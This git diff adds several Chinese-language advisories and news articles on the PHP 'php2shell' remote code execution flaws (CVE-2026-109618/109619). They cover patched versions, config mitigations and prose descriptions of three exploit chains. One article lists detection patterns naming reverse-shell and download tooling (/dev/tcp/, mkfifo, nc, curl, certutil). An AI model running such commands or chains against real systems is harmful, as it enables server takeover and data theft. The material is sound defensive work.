+- 用 8.1 以下版本的，今晚之后的选择只有三条：找发行版厂商要 backport（RHEL/Ubuntu LTS 通常会对 PHP 打补丁，注意区分"发行版维护"和"上游维护"）、业务上 WAF/网络隔离顶住暴露面、或者干脆趁机把版本升了。 + +托管环境（云虚拟主机、Managed WordPress、Pantheon 这类平台）用户自己动不了 PHP，现在就去问服务商"今晚的 PHP 安全更新你们几点推"——这类平台通常会在几小时内自动滚动，但你要确认，不要默认。 +## 0x4 发布前的准备清单 + +到今晚 22:00 之前，按优先级做四件事。 + +**第一，盘点资产。** + 把手里所有 PHP 暴露面列出来：公网 Web 站点用的 PHP 版本、php-fpm/php-cgi/mod_php 的部署方式、内网系统。特别容易漏的是**内嵌在商业软件里的 PHP** +——Huntress 专门提醒了 php.exe / php-cgi.exe 被打进安装包的情况，cPanel/Plesk 面板、某些 Windows 管理工具、出厂固件里都可能有。这种你能做的只有盯厂商通告。用 httpd -v +、php -v +、php-fpm -i | grep version + 或者直接看响应头里的 X-Powered-By + 快速摸底。 + +**第二，预演升级路径。** + 确认每个系统能不能升、怎么升：apt/yum 源是否就绪、面板（宝塔、lnmp 一键包等）什么时候出更新包、重启 php-fpm 的维护窗口怎么安排。目标是补丁一出、命令回车、十分钟收工，而不是今晚现查文档。 + +**第三，EOL 版本今晚的预案。** + 升级不了的，今晚开始把暴露面收窄：公网入口限流或挂 VPN、把非必要的 PHP 站点直接下线。要诚实：没有补丁就没有真正的缓解，这些只是拖时间。 + +**第四，把监控先架好。** + 检测特征在 0x5，现在就把日志和进程监控的告警通道调通，别等明天。 +## 0x5 发布后的 24 小时 + +**升级动作本身：** + 22:00 后盯 php.net 和 php-src 的 release 页，版本号确认后立即更新四个在维护分支（8.2/8.3/8.4/8.5），重启 php-fpm 或 Web 服务生效。别忘了容器镜像（php:x.y-fpm 这类 tag 会重新构建，重新 pull + 重部署）、CI 环境和开发机。 + +**检测特征（来自 Huntress 的建议，发布后它们会更新 Sigma/YARA 规则）：** +- 进程链异常：php-fpm + / php-cgi + / httpd + / apache2 + 的 worker 派生 sh +、bash +、cmd.exe +、powershell.exe +，或拉起 curl +、wget +、nc +、certutil.exe + 等下载工具——正常 PHP 业务几乎不会有这条进程链； + +- 命令行内容特征：/dev/tcp/ +、fsockopen +、mkfifo +，以及 whoami +、id +、uname -a +、ipconfig + 这类踩点命令； + +- 文件系统：Web 根目录新出现的文件（webshell 落地）、新增 cron 计划任务、新账号。 + +**中招了怎么办：** + 隔离主机、保留 PHP 和 Web 日志用于溯源、全盘查 webshell 和持久化（cron、SSH key、新增账户），然后从干净镜像重建——PHP 核心 RCE 的利用痕迹在内存里，别指望"清个马"就完事。 +## 0x6 冷静一下 + +满分预警 ≠ 满分灾难，几个客观限制： +- **在野利用目前为零** +，泄露的只是一个工具截图，不是可运行的 PoC 仓库。武器化需要等 diff 公开后的分析工作，这通常要几小时到几天； + +- **9.2 是 CVSS v4 基础分** +，实际风险取决于暴露面：公网直面、EOL 版本、电商类系统（Sansec 点名 Magento/Shopware/WooCommerce）风险最高；内网纯 8.x 且升级通道顺畅的，按计划处理即可； + +- **"通打 5.4 起所有版本"是工具截图的一面之词** +，最终以官方公布的影响范围为准，不排除实际利用有 SAPI、操作系统或配置前提——CVE-2024-4577 当年就只打 Windows CGI 这一种部署。 + +需要注意的是：** PHP 装机量的太大，今晚之后全网扫描是一定会来的**。你要做的不是判断"我会不会被选中"，而是确保扫描器路过你门口时，版本号已经不是今晚之前的那个。 + +**参考** +- https://www.php.net/index.php[#2026]() +-10-20-1（官方预告原文） + +- https://www.huntress.com/blog/php2shell-leaked-critical-php-vulnerabilities + +**免责声明** +：本文仅用于安全研究与学习，未经授权不得用于任何非法渗透测试活动。 + + diff --git a/doc/2026-10/PHP 远程代码执行漏洞通告（CVE-2026-109618 ∕ CVE-2026-109619）.md b/doc/2026-10/PHP 远程代码执行漏洞通告（CVE-2026-109618 ∕ CVE-2026-109619）.md new file mode 100644 index 00000000..818e60d6 --- /dev/null +++ b/doc/2026-10/PHP 远程代码执行漏洞通告（CVE-2026-109618 ∕ CVE-2026-109619）.md @@ -0,0 +1,66 @@ +# PHP 远程代码执行漏洞通告（CVE-2026-109618 / CVE-2026-109619） +阿里云安全 + 阿里云安全 阿里云应急响应 2026-10-21 16:23 + +2026年10月21日，阿里云安全监测到 PHP 官方披露两个PHP远程代码执行漏洞，编号分别为 CVE-2026-109618 和 CVE-2026-109619，代号为 php2shell + +01 + +风险描述 + + +PHP 是一种广泛使用的开源服务器端脚本语言，2026年10月21日，官方披露其存在以下两个远程代码执行漏洞： + +1. CVE-2026-109618： +OOM +处理缺陷导致远程代码执行。 PHP 在内存不足（OOM）时可能留下无效请求状态，后续请求清理过程访问该状态，可能导致远程代码执行。官方已在 Apache mod_php 环境中通过 HTTP 验证未认证远程代码执行 + +2.  +CVE-2026-109619：全局状态残留导致远程代码执行。 PHP 的部分全局状态未被正确重置，或在重置后被再次写入，导致同一工作进程处理后续请求时访问已释放的请求内存，触发释放后使用（Use-After-Free），可能导致远程代码执行。官方已在 Apache mod_php 和 PHP-FPM 环境中验证未认证远程代码执行。 + + +02 + +风险评级 + + +CVE-2026-109618 + /  +CVE-2026-109619 + php2shell 远程代码执行漏洞 严重 + + +03 + +修复方案 + + +在打补丁或升级PHP版本期间，请保持 +阿里云 WAF或者阿里云  +云防火墙IPS防护模块 +防护处于启用状态，尽可能的减少暴露风险，但这些措施不能替代 PHP 修复。 + +针对 PHP 8.1 及更早版本：PHP官方已停止支持，但部分发行版和长期支持（LTS）服务商可能为其提供安全补丁，请联系供应商确认修复情况，或升级到受支持的版本。 + +针对 PHP 8.2 及其之后版本：PHP官方已发布安全更新版本及其补丁，具体如下： + +PHP < 8.2.35（8.2 分支），升级至 8.2.35 或该分支更新版本。  + +PHP < 8.3.36（8.3 分支），升级至 8.3.36 或该分支更新版本。  + +PHP < 8.4.27（8.4 分支），升级至 8.4.27 或该分支更新版本。  + +PHP < 8.5.12（8.5 分支），升级至 8.5.12 或该分支更新版本。 + + +04 + +缓解方案 + + +1、 +针对 CVE-2026-109618： 暂无法升级时，可由管理员强制设置 memory_limit=-1，重启全部 PHP 工作进程并确认配置未被覆盖；同时在前端限制解码后的请求体大小、上传数量及输入复杂度，不使用 multipart 表单的应用可阻断此类请求。取消内存上限需评估资源耗尽风险，且不应使用 RLIMIT_AS 或 RLIMIT_DATA 作为替代防护。具体措施可参考 https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w  + +2、针对 CVE-2026-109619： 暂无法升级时，可设置 session.upload_progress.enabled=0；PHP 8.5 还可设置 fatal_error_backtraces=0 进行缓解，均需由管理员强制配置并重启全部工作进程。PHP-FPM 可在评估性能影响后设置 pm.max_requests=1，减少跨请求状态复用。具体措施可参考 https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp + + diff --git a/doc/2026-10/PHP2Shell 漏洞利用链危害分析与修复方案.md b/doc/2026-10/PHP2Shell 漏洞利用链危害分析与修复方案.md new file mode 100644 index 00000000..5291d0dc --- /dev/null +++ b/doc/2026-10/PHP2Shell 漏洞利用链危害分析与修复方案.md @@ -0,0 +1,259 @@ +# PHP2Shell 漏洞利用链危害分析与修复方案 + 渗透测试网络安全 2026-10-21 15:14 + +2026 年 10 月 21 日，PHP 官方发布紧急安全更新，修复两个严重的远程代码执行漏洞：CVE-2026-109618 和 CVE-2026-109619。 + +公开的 PoC 展示了攻击者如何利用 PHP 内部的请求处理、Session 数据解析和反序列化机制，在特定条件下将异常数据处理转化为代码执行。 + +这类漏洞最危险的地方在于： +攻击者可能不需要网站账号，也不一定需要上传一个能够直接执行的 PHP 文件，就有机会控制运行 PHP 的服务器。 + +本文重点分析三条利用链、实际危害，以及如何临时缓解和彻底修复。 + +![](https://mmbiz.qpic.cn/mmbiz_png/hF2kcyfeuwdDKhwDiajZazR5eLOS5JHgKfdZ2UVY0EELxJofM4wfCBM9qsXo206y3wvnqaFknB908qmiaNtRLv2HibfUYydMAufdz5g6C2AL7w/640?wx_fmt=png&from=appmsg "") + +# 一、漏洞原理 + +PHP2Shell 涉及 PHP 核心的多个安全问题。理解它们，首先需要了解两个机制： + +Session 上传进度：PHP 可以在处理 multipart/form-data 请求时，记录上传状态、文件名等信息。 + +反序列化与对象析构：PHP 将序列化数据还原为对象时，可能执行相关对象的 __destruct() 方法；对象清理阶段也可能触发额外操作。 + +如果这些机制中的数据校验、状态管理或内存生命周期处理存在缺陷，攻击者就可能让原本应当被视为普通数据的内容进入危险执行路径。 + +PHP 官方确认的两个问题分别涉及： + +CVE-2026-109618：内存分配失败时，请求数据可能尚未完整初始化，后续清理流程却将异常数据当作有效数据处理，造成内存损坏。 + +CVE-2026-109619：请求级内部状态在底层内存释放后仍然残留，后续由同一工作进程处理的请求可能在正常初始化之前访问这些失效状态。 + +研究者公开的 PoC 则展示了如何利用 Session 处理、反序列化清理和配置差异形成具体攻击链。 +# 二、三条利用链具体如何工作？ +## 利用链一：Session 注入 + 本地文件包含（LFI） + +核心思路：让 PHP 将攻击者可控的内容写入 Session，再寻找能够执行这份内容的入口。 + +攻击过程如下： + +攻击者向目标发送特定的 multipart 上传请求。 + +PHP 上传进度处理机制将文件名等信息记录到 Session 数据中。 + +如果攻击者能够控制写入内容，并且应用存在本地文件包含（LFI）漏洞，就可能让 PHP 读取对应的 Session 文件。 + +如果注入内容被当作 PHP 代码解析，就可能实现远程代码执行。 + +这条攻击链的关键条件包括：相关上传进度功能处于可用状态、Session 数据可以被攻击者影响，以及存在能够将注入内容转化为代码执行的入口。 +## 为什么危险？ + +攻击者不一定需要把恶意文件上传到网站的正常上传目录。即使网站禁止上传 .php 文件，如果 Session 文件能够被注入并通过其他路径执行，仍然可能产生严重后果。 + +但需要注意：存在文件上传功能并不等于存在此漏洞，存在 LFI 也不代表一定可以利用这条链。具体结果取决于 Session 存储、解析方式和应用环境。 +## 利用链二：反序列化清理缺陷 → UAF → RCE + +核心思路：利用 PHP 对象清理期间的内存生命周期错误，将内存破坏进一步转化为代码执行。 + +UAF（Use-After-Free）是指程序已经释放一块内存，却继续通过旧指针访问它。 + +这条利用链可以拆成几个阶段： + +反序列化过程建立包含引用关系和待析构对象的数据结构。 + +PHP 进入清理阶段，释放部分内部内存。 + +清理过程中触发对象的 __destruct() 方法。 + +如果析构函数又触发嵌套反序列化，内部操作可能重新访问已经释放的数据结构。 + +在满足特定内存布局和运行条件时，攻击者可能进一步控制内存状态，实现代码执行。 + +这类漏洞的根源不是简单的“使用了 unserialize()”，而是 +内存释放顺序、对象析构重入以及内部引用状态管理之间出现了问题。 +## 为什么危险？ + +内存安全漏洞有时会直接造成 PHP 工作进程崩溃；但如果攻击者能够稳定控制相关内存状态，影响就可能从拒绝服务升级为任意代码执行。 + +需要特别说明：这条路径对运行环境和内存布局存在依赖，PoC 在特定实验环境中的成功率不能直接代表所有线上服务器的实际利用成功率。 +## 利用链三：Session 处理器不一致 → 对象析构 → RCE + +核心思路：利用不同 Session 序列化处理器之间的解析差异，让同一份数据在不同环境下产生不同解释。 + +PHP Session 支持不同的序列化格式。如果多个目录或请求处理路径采用不一致的处理器，就可能出现数据边界和解析规则不匹配的问题。 + +攻击过程如下： + +攻击者能够影响某个 Session 中保存的数据。 + +数据先后经过采用不同序列化处理器的 PHP 处理路径。 + +某些原本应被视为普通字符串的内容，在另一处理器中可能被解释为序列化对象。 + +如果对象包含可触发危险操作的析构行为，便可能在解析或清理过程中产生副作用。 + +如果应用环境中存在可利用的对象链，可能进一步升级为远程代码执行。 + +这条利用链尤其需要关注多站点、多目录、多 PHP-FPM Pool 或存在不同 Session 配置的环境。 + +PoC 还指出，即使某些反序列化操作最终返回失败，清理阶段仍可能触发已经创建对象的析构函数。因此， +解析失败不一定意味着没有副作用。 + +不过，处理器配置不一致本身并不必然导致 RCE；仍然需要满足数据可控、对象行为可利用等条件。 +# 三、危害到底有多大？ + +这类漏洞的风险不能仅仅理解为“网站可能被黑”。如果远程代码执行成功，攻击者可能直接获得 PHP 服务进程权限，并进一步影响整个业务系统。 +## 1. 服务器被直接控制 + +攻击者可能在 PHP 工作进程的权限范围内执行系统命令。 + +如果 PHP-FPM 以 www-data 等低权限账户运行，攻击者首先获得的是该账户的权限；如果服务进程权限过高，或者系统权限配置不当，后果可能更加严重。 + +这意味着，攻击者可能不再局限于访问网页，而是能够在服务器上执行实际操作。 +## 2. 网站被植入后门，修复漏洞后仍可能失陷 + +成功执行代码后，攻击者可能修改网站 PHP 文件、植入 WebShell、篡改页面或写入其他恶意脚本。 + +如果攻击者还建立了持久化入口，即使管理员随后升级 PHP，也不意味着已经植入的后门会自动消失。 +## 3. 数据库、用户信息和密钥可能泄露 + +PHP 应用通常需要访问数据库配置、API 密钥、缓存凭据和第三方服务令牌。 + +如果攻击者获得相应访问权限，就可能读取敏感文件、访问数据库、窃取用户信息，或者利用泄露的凭据攻击其他服务。 + +因此，RCE 的影响范围取决于 PHP 进程能够访问什么，而不只是网站本身存储了哪些文件。 +## 4. 从一台服务器扩展到整个业务环境 + +如果服务器保存了 SSH 密钥、云平台凭据、内部 API 令牌或其他主机的访问凭据，攻击者可能尝试进一步访问关联服务器和内部服务。 + +这可能使一个 PHP 网站的漏洞演变为更大范围的安全事件。 +## 5. 服务中断与业务损失 + +攻击者可能利用异常请求导致工作进程崩溃，或通过恶意操作消耗服务器资源。 + +对于电商、支付、会员系统和 API 服务，这可能造成业务中断、数据恢复成本增加，以及客户信任受损。 +## 6. 风险等级如何判断？ + +可以将风险分成三个层次： + +高风险暴露：公网提供 PHP 服务，实际运行版本未确认是否包含修复。 + +严重安全事件：存在异常请求、工作进程异常或可疑文件等迹象，需要进一步调查。 + +确认失陷：有证据表明发生未授权代码执行、后门植入或敏感数据泄露。 + +需要强调：PHP 官方给出的 9.2 分代表漏洞的严重程度，并不代表每一台服务器都有相同的利用成功率，也不能仅凭漏洞存在就认定服务器已经被入侵。 +# 四、如何临时修复？ +## 方案一：立即升级 PHP + +这是最重要的措施。 + +PHP 官方于 2026 年 10 月 21 日发布了以下修复版本： +
PHP 分支
修复版本
PHP 8.2
8.2.35
PHP 8.3
8.3.36
PHP 8.4
8.4.27
PHP 8.5
8.5.12
+应根据实际部署选择包含官方补丁的版本或发行版回补补丁。 + +如果使用 PHP-FPM，需要确认实际运行的 Pool 已加载更新后的 PHP；如果使用 Apache mod_php、PHP-CGI 或容器，也必须更新对应运行时。 + +仅更新 WordPress、插件或网站业务代码，不能替代 PHP 核心安全更新。 +## 方案二：关闭 Session 上传进度功能 + +如果暂时无法升级，可以先关闭相关功能，减少部分已知攻击路径的暴露面。 + +在实际生效的 php.ini 中设置： + +session.upload_progress.enabled = Off + +如果使用 PHP-FPM，也可以在对应 Pool 配置中强制设置： + +php_admin_flag[session.upload_progress.enabled] = off + +修改后应重启相关 PHP-FPM 服务，并确认全部工作进程已经应用新配置。 + +注意：关闭上传进度功能不是完整修复。它不能修复所有反序列化 UAF、跨请求状态残留或其他独立缺陷。 +## 方案三：限制 HTTP 请求大小 + +针对内存分配失败相关攻击路径，可以根据官方建议评估 post_max_size。 + +不需要文件上传的应用，可以考虑： + +post_max_size = 8M + +需要文件上传的应用，可以考虑： + +post_max_size = 32M + +同时，应确保 upload_max_filesize 小于 post_max_size，并在 Nginx 层配置合理的请求体大小限制。 + +如果采用官方针对 CVE-2026-109618 给出的临时措施，还需要评估将 memory_limit 设置为 -1 的资源影响，并通过容器或 cgroup 限制系统资源。 + +这些配置仅能降低特定攻击路径的风险，不能代替补丁。 +## 方案四：Nginx 层限制 multipart 请求 + +如果网站完全不需要文件上传，可以临时拒绝不必要的 multipart/form-data 请求。 + +如果业务需要上传头像、附件或文件，则不建议全站直接封禁，而应按接口设置规则。 + +这种方法只是一层额外防护：请求头过滤不能修复 PHP 内部的内存安全问题，也不能保证其他请求路径不会触发漏洞。 +## 方案五：检查 Session 配置一致性 + +检查不同站点、目录和 PHP-FPM Pool 是否使用不一致的 session.serialize_handler。 + +尽量统一相关配置，并避免让攻击者可控的数据进入不可信的反序列化流程。 + +这有助于降低部分攻击链的风险，但仍不能替代 PHP 官方补丁。 +# 五、修复后还需要检查什么？ + +如果服务器曾经暴露于相关漏洞，建议检查： + +Nginx、Apache 和 PHP-FPM 日志中是否存在异常 POST 请求。 + +PHP 工作进程是否异常崩溃、频繁重启或启动非预期子进程。 + +网站目录、上传目录和临时目录是否出现来源不明的 PHP 文件。 + +数据库配置、SSH 密钥、云凭据和 API 令牌是否存在异常访问。 + +计划任务、系统服务和网站文件是否发生未经授权的修改。 + +如果确认存在未授权代码执行，应考虑隔离受影响主机、保留证据、轮换可能泄露的凭据，并从可信的软件包和备份恢复系统。 + +不要认为升级 PHP 就能自动清除此前已经植入的后门。 +# 六、总结 + +PHP2Shell 的危险性在于，它涉及 PHP 核心运行时，而不是某个特定网站插件。公开研究展示了 Session 注入与 LFI、反序列化 UAF，以及 Session 处理器不一致等利用路径。 + +如果攻击者成功实现远程代码执行，可能造成服务器控制、网站后门、数据库泄露、凭据窃取、内网横向移动和业务中断。 + +建议按照以下优先级处理： + +立即确认 PHP 实际运行版本及官方补丁状态。 + +升级到包含安全修复的版本。 + +暂时无法升级时，关闭上传进度功能，并结合官方建议实施请求限制及其他临时缓解。 + +检查 Session 配置、异常请求和可疑文件。 + +如果有成功入侵迹象，开展完整的安全事件响应。 + +最终结论：关闭某项 PHP 功能或增加 Nginx 规则只能降低部分风险，不能保证系统安全。升级到包含官方修复的 PHP 版本，才是解决这类核心漏洞的首选方案。 + +参考资料： + +PHP 官方安全公告：https://www.php.net/index.php + +PoC 技术分析：https://github.com/ikow/php2shell-poc/blob/main/docs/ANALYSIS.md + +关注本公众号回复“718619” + +可以免费领取全套网络安全学习教程，安全靶场、面试指南、安全沙龙PPT、代码安全、火眼安全系统等 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/XOPdGZ2MYOeSsicAgIUNHtMib9a69NOWXw1A7mgRqqiat1SycQ0b6e5mBqC0pVJ3oicrQnCTh4gqMGiaKUPicTsUc4Tw/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=8 "") + 还在等什么？赶紧点击下方名片关注学习吧！ + + +**欢 迎 私 下 骚 扰** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/hF2kcyfeuwcaXeQq6GPBG6GmnyF281FOAFnChNS3ZwNE5hcIUWW1JFUx4lGmkxtmPtoDNywbfnx5iaetbYYBT5wV5czlHS82AreKabc6ZN9s/640?wx_fmt=png&from=appmsg "") + + diff --git a/doc/2026-10/PHP提醒注意两个未修复的严重0day漏洞.md b/doc/2026-10/PHP提醒注意两个未修复的严重0day漏洞.md new file mode 100644 index 00000000..e8dbf94a --- /dev/null +++ b/doc/2026-10/PHP提醒注意两个未修复的严重0day漏洞.md @@ -0,0 +1,123 @@ +# PHP提醒注意两个未修复的严重0day漏洞 +代码卫士 + 代码卫士 奇安信集团 2026-10-21 09:55 + +**PHP安全团队正在提醒管理员称，准备在明天安装紧急安全更新，修复两个严重漏洞，因为据称这些漏洞的信息在计划披露日期之前就已经泄露。** + + + + + + + + + + + + + + + + + + +PHP  +为许多网站和  +Web  +应用程序提供支持，包括内容管理系统、电子商务平台和自定义  +Web  +服务等。 + + +![](https://mmbiz.qpic.cn/mmbiz_gif/t5z0xV2OYfVnbgNpx2LoeXORomcxsFIobfd7j6fuLqZrabfcHYUcriaNlaibnlSUVsc1tzen9BEvTQ2JeMYXKHuODibsOMVquDaJpGbJoXcqkY/640?wx_fmt=gif&from=appmsg#imgIndex=1 "") + +**漏洞的 CVE 编号和评分** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t5z0xV2OYfXknicwyU99S2UTJiaRicdchfiaAU9NC9z85Py0niawU8hZXHFUCtQOIqJcMmwC8u4mFIE30h7yZu74eBfice5DVlhrlQuywSO0UMQrw/640?wx_fmt=gif&from=appmsg#imgIndex=2 "") + + + +PHP  +在本周二发布公告但尚未披露这些漏洞的任何技术细节，包括受影响的是哪些 +PHP +版本、如何利用这些漏洞，以及哪些版本将包含修复。 +PHP为 +这两个漏洞给出的CVSS v4评分为9.2。 + +而网络安全公司  +watchTowr  +的安全研究人员表示，这些被泄露的漏洞编号为 +CVE-2026-109618 +和 +CVE-2026-109619 +，是远程代码执行 + (RCE)  +漏洞，据信影响 +PHP 5 +、 +6 +、 +7 +和 +8 +版本，且 +CVSS +评分为满分 +10 +分。另外，该公司表示已经成功复现其中一个漏洞 +CVE-2026-109618 +，但在补丁发布前不会发布这些细节。该公司还表示并未有证据表明这两个漏洞已遭在野利用。 + +而在此之前， +Y Combinator 旗下 +的 +Hacker News +论坛上有一篇现已被删除的帖子，其中一位名为 +“petecooper” +的用户声称，两个严重的 +PHP +远程代码执行漏洞将于 +10 +月 +22 +日披露。这篇帖子声称，这两个漏洞的 +CVSS +评分均为 +10.0 +，并且影响可追溯至 +PHP 5 +的各个 +PHP +版本。该帖子还将这些漏洞标识为 +CVE-2026-109618 +和 +CVE-2026-109619 +，与 +watchTowr +后来分享的编号一致。 + +PHP +开发团队宣布计划于 +10 +月 +21 +日周三 +14:00 UTC +（美国东部时间上午 +10:00 +）发布安全更新，修复这两个漏洞。 +PHP +安全团队还向  +ANNOUNCE  +邮件列表发送了通知，敦促管理员准备在安全更新一经发布后立即安装。 + +PHP +安全团队警告称： +“ +如果任一漏洞的详细信息被公开，或出现在野活跃利用的证据，我们保留提前发布的权利。 +” + +PHP +安全团队表示，当安全更新可用时，将发布完整的技术细节、受影响版本和修复版本。 + diff --git a/doc/2026-10/PHP曝两大严重安全漏洞，疑似RCE风险威胁全球网站.md b/doc/2026-10/PHP曝两大严重安全漏洞，疑似RCE风险威胁全球网站.md new file mode 100644 index 00000000..4f87c14c --- /dev/null +++ b/doc/2026-10/PHP曝两大严重安全漏洞，疑似RCE风险威胁全球网站.md @@ -0,0 +1,95 @@ +# PHP曝两大严重安全漏洞，疑似RCE风险威胁全球网站 + FreeBuf 2026-10-21 10:00 + +![FreeBuf](https://mmbiz.qpic.cn/sz_mmbiz_gif/icBE3OpK1IX3tEDTXlFRo7CSmib8ZISZj9JxDUKltlYicDcP6NFu8oT0GTHJdXiaGupK8yCp1guXr05KcicGzHt8o4ua2f2ZicDLneC4feiaaHglVU/640?wx_fmt=gif "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/icBE3OpK1IX1fmGwp8I0A273AriaEYz4RVCRWvicvCTEhmva0jwNASKQ3U9pE23yvBTM4sS2L47icjfCLKqm1rVefVcZqjNSpzSnZmqQWmtRxd8/640?wx_fmt=png&from=appmsg "") + + +Part +01 + +PHP两大高危漏洞 + + +PHP安全团队已向用户预警两个严重安全漏洞，敦促管理员为即将发布的安全更新做好准备。两个漏洞的CVSS v4.0评分均为9.2。更新计划于2026年10月21日周三UTC时间14:00正式发布，留给网站所有者和托管服务商的准备窗口十分有限。 + + +PHP在10月20日发布的官方安全公告中表示，补丁发布同步会公开完整技术细节、受影响版本范围以及修复版本。如果任一漏洞细节被提前公开，或出现漏洞被主动利用的证据，团队可能提前推送更新。 + + +公开报道显示，本次即将修复的两个漏洞对应编号为CVE-2026-109618和CVE-2026-109619。安全厂商watchTowr指出，二者均为已上报的远程代码执行漏洞，攻击者可利用漏洞在受影响服务器上运行任意代码。不过PHP发布的提前预警并未提及具体CVE编号，也未说明漏洞的具体原理。 + + +CERT-EU发布的公告也提及这两个漏洞编号，预警称漏洞可能允许攻击者无需认证即可执行远程代码。该机构的评估部分参考了泄露信息，因此管理员需要将这类非官方报道与PHP直接确认的有限事实明确区分开。 + + +有报道称漏洞影响范围覆盖PHP 5及以上所有版本，但PHP官方尚未证实这一宽泛说法。目前PHP尚未确认默认安装配置是否受影响、触发漏洞需要哪些配置条件，也未确认特定操作系统是否面临更高风险。 + + +部分早期网传帖子称这两个漏洞的最高严重等级评分为10.0，但PHP官方公布的两个漏洞CVSS v4.0评分均为9.2。在更多细节披露、明确底层风险和攻击条件之前，所有相关报道应以官方评分为准。 + + +![](https://mmbiz.qpic.cn/mmbiz_png/icBE3OpK1IX0VibMaD4Fuq69NicmnDU5sz2BkENZz1M7GrlIndf9Z2p7bic8ic6vd7ibo4cIE0leabyoEIiazJdAczsUtDUnzoXaGqf1prRic6H594g/640?wx_fmt=png&from=appmsg "") + + +Part +02 + +漏洞利用情况与风险 + + +截至watchTowr发布相关更新时，尚未发现这些漏洞存在公开在野利用。PHP提及可能提前发布更新只是预防性措施，并不代表已经出现实际攻击。网上流传的泄露漏洞演示、利用代码等内容，不能作为真实目标已遭攻击的证据。 + + +过往案例表明管理员需尽快做好准备。据Cybersecurity News记录，此前另一项独立PHP漏洞CVE-2024-4577披露后24小时内，研究人员就检测到了主动利用尝试。这类历史事件可以解释本次补丁部署的紧迫性，但不能证明本次新披露的漏洞已遭到利用。 + + +2026年初，该媒体也曾报道过PHP SOAP扩展相关漏洞。这类漏洞涉及不同组件，对应独立的修复补丁。管理员切勿认为安装此前PHP漏洞的补丁，就能修复本次即将推送补丁对应的两个漏洞。 + + +Part +03 + +CERT-EU建议立即梳理PHP资产 + + +CERT-EU建议，各机构立即梳理自身资产中的PHP应用，做好准备在修复版本发布后第一时间为受影响系统打补丁。如果无法立刻完成补丁部署，应考虑将面向互联网的应用从公网隔离，直到补丁安装完成。采取隔离措施前需充分评估对服务可用性和业务需求的影响。 + + +各团队要利用这段准备窗口，确认每一处PHP安装的运维负责人，明确生产系统的更新落地流程。补丁正式发布后，管理员需先核对官方公布的受影响版本列表，及时部署对应修复补丁，完成后验证当前运行的PHP版本是否正确。在官方补丁发布前，不能仅凭自身配置与网上流传的受影响条件不符，就断定业务部署安全无风险。 + + +参考来源： + +PHP Warns of Two Critical 9.2 Security Vulnerabilities, Urges Users to Prepare for Patches + +https://cybersecuritynews.com/php-warns-of-two-critical-9-2-security-vulnerabilities/ + +### + +### 推荐阅读 + + +[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651349044&idx=1&sn=d77f4721bae4ab99397417570be69c4f&scene=21#wechat_redirect) + + +### + +### 电报讨论 + + +[]() + + + +![扫码加入AI安全交流群](https://mmbiz.qpic.cn/mmbiz_png/icBE3OpK1IX0Py7ibxdLKXia1pMziaic5vIE9XPXG9OGaeJDa07iaG10eicuzhW59nwpF5msHiaYZvfMqCNkx2aFDiaMzm3oAf4rTaHXU5UAI1mUYgts/640?wx_fmt=png "") + + + +![下载FreeBuf知识大陆APP](https://mmbiz.qpic.cn/mmbiz_png/icBE3OpK1IX0TIGzII2Hcmtzu7AJeZFicnqd1mXojVoawje2uLxYqwJbVgzJpmSXzVhrpOsLurRZ2lVa4vfgLBqg7uJKbrKg5F18VzZxVPicZU/640?wx_fmt=png "") + + + + diff --git a/doc/2026-10/PHP曝出两个9.2分严重漏洞：补丁即将发布，运维团队现在该做什么？.md b/doc/2026-10/PHP曝出两个9.2分严重漏洞：补丁即将发布，运维团队现在该做什么？.md new file mode 100644 index 00000000..a41c3658 --- /dev/null +++ b/doc/2026-10/PHP曝出两个9.2分严重漏洞：补丁即将发布，运维团队现在该做什么？.md @@ -0,0 +1,62 @@ +# PHP曝出两个9.2分严重漏洞：补丁即将发布，运维团队现在该做什么？ + 白安全组 2026-10-21 08:58 + +网络安全快讯 · 2026年10月21日 + +PHP 安全团队预告即将发布紧急更新：两个核心漏洞的 CVSS v4.0 评分均为 9.2。 + +它们被外部安全机构关联到 CVE-2026-109618 和 CVE-2026-109619，并被认为可能带来远程代码执行风险。PHP 广泛用于网站、业务后台和内部系统，运维团队现在就该盘点资产、预留升级窗口。 + +**先说清楚：** +截至本文整理时，PHP 官方尚未公布完整技术细节、精确受影响版本和确认有效的临时缓解方案。“PHP2Shell”是社区称呼，不是官方漏洞名称。 +## 01｜目前确认了什么？ + +PHP 官方公告确认：此次安全更新针对两个严重漏洞，评分均为 **CVSS v4.0 9.2** +。计划于 **10 月 21 日 14:00 UTC（北京时间 22:00）** +发布；若技术细节提前泄露或出现实际利用证据，也可能提前发布。 + +欧盟计算机应急响应团队 CERT-EU 提醒组织尽快识别 PHP 资产，并准备在修复版本发布后立即升级。关于“PHP 5 以后所有版本都受影响”的说法，官方尚未确认，不能据此直接判断单台服务器是否存在漏洞。 +## 02｜为什么要连夜盘点？ + +PHP 资产远不止 WordPress。企业官网、电商、CRM、工单、运维面板、内部 API、定时任务和容器，都可能运行不同版本的 PHP。系统自带、面板内置和容器镜像中的 PHP，还可能由不同团队维护。 + +若远程代码执行在常见部署中成立，攻击者可能获得 Web 服务账号权限，进而读取配置与数据库凭据、写入站点文件或接触内网资源。实际可利用条件和影响范围仍需等待官方公告。 +## 03｜读者可复制的安全自查 + +目前没有经过 PHP 官方确认的漏洞触发条件，因此不能把“跑出某个版本号”当作漏洞复现。下面这组**非攻击性自查命令** +只用于找出本机运行的 PHP 及部署方式，方便补丁发布后对照官方受影响清单： +``` +``` + +提示：php -v +只反映命令行环境，未必是网站实际使用的 PHP。面板、多 FPM 进程池和容器都要分别核对；不要在公网留下 phpinfo() + 测试页。 +## 04｜补丁发布前的五项动作 + +**① 列清单：** +记录业务、服务器、PHP 版本、部署来源、是否公网开放和维护人。 + +**② 排优先级：** +优先处理公网入口、敏感数据系统、具备上传功能以及可访问内网的服务。 + +**③ 备升级窗口：** +确认软件源、主机面板或容器镜像的更新渠道，并备好回滚方案。 + +**④ 缩小暴露面：** +限制非必要接口和管理后台访问；暂时无法升级的系统可考虑隔离。 + +**⑤ 盯异常：** +关注 PHP 进程崩溃、异常子进程、可疑外联和文件写入，保留日志以便排查。 +## 05｜补丁发布后如何验收？ + +先按 PHP 